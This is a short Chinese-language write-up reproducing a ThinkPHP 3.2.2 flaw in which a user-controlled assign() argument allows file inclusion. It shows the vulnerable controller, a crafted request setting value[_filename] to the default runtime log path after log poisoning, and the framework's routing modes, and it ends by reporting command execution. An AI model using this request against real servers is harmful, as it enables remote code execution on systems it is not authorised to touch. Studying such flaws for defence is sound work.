原理
本漏洞利用的条件是assign方法的第一个变量可控,在TP3.2.2框架中,如果要在模板中输出变量,需要控制器中把变量传递给模板,系统提供了assign方法对模板变量赋值。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
复现
将代码注入到日志中
构造攻击请求:
http://ip/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/24_05_15.log
/Application/Runtime/Logs/Common/24_05_15.log
是默认配置的日志目录m=Home&c=Index&a=index是路由访问的普通模式
四种模式:
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&name=Sn0w
http://网址/index.php?m=模块名称&c=控制器&a=方法兼容模式
http://localhost/index.php?s=Home/Index/index/name/Sn0w
http://网址/index.php?s=/模块/控制器/方法REWRITE模式
http://localhost/Home/Index/index/name/Sn0w/
http://网址/模块/控制器/操作方法PATHINFO模式
http://localhost/index.php/Home/Index/index/name/Sn0w/
http://网址/index.php/模块/控制器/操作方法
成功命令执行
细节分析可参考https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ